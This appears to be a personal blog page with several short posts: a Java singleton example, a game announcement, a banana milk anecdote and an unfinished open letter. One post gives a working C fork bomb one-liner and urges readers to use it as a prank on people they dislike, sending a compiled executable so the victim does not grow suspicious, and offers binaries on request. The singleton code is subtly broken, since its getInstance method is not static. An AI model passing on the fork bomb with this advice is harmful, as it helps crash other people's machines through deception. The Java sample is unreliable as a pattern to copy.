Singleton Classes

Singleton classes are a design pattern used in software engineering which restricts the instantiation of a class to one object. At any time, at most one object of a singleton class can exist.

There are numerous ways to achieve this. Below is a simple approach implemented in Java:


public class Singleton
{
    private static Singleton instance = null;

    /* Since the constructor is private,
     * other classes cannot instantiate this class explicitly
     */
    private Singleton()
    {
    }

    public Singleton getInstance()
    {
        if (instance == null)
            instance = new Singleton();

        return instance;
    }
}


Fork Bomb

Do not try this at home. Try it at someone else’s home..

 

  • main(){while(1)fork();}

 


This is a piece of code known as a fork bomb. When executed, it keeps forking processes again and again, until the system runs out of resources. This is maybe the easiest and quickest way to screw your (or someone else’s) computer. You can grab the code, compile and test it. If you’re gonna do it on your machine, I strongly suggest you do it on a virtual pc (VirtualBox is my favorite). It might also be a great prank to someone you don’t like. However, you might want to compile the code and send them the executable rather than the source, as they might get suspicious. I can provide you with binaries for different architectures, just contact me if you want them.
 
Happy happy joy joy…

Space Shooter X


My new iPhone game, Space Shooter X is ready! You can view the game here! Any feedback (opinion, suggestion, etc) is highly appreciated. I will continue working on the app and upgrade it based on your comments.

Enjoy!

Banana Milk..



A bottle of banana milk that is sitting in front of my room window for a few days. I presume it was dropped by my upstairs neighbor. I’m gonna wait a little more until it turns into banana yogurt. Then, I can eat it. Mmm.. Yummy..

Yes, I’m bored..

About the Blog


I know I’ve been neglecting my blog for a while. That’s because of this awful lot of deadlines that happen to coincide. Well, that’s going to change soon. So, stay tuned…

An Open Letter

This is a message to a bunch of douchebags knowns as “the cold fruits”.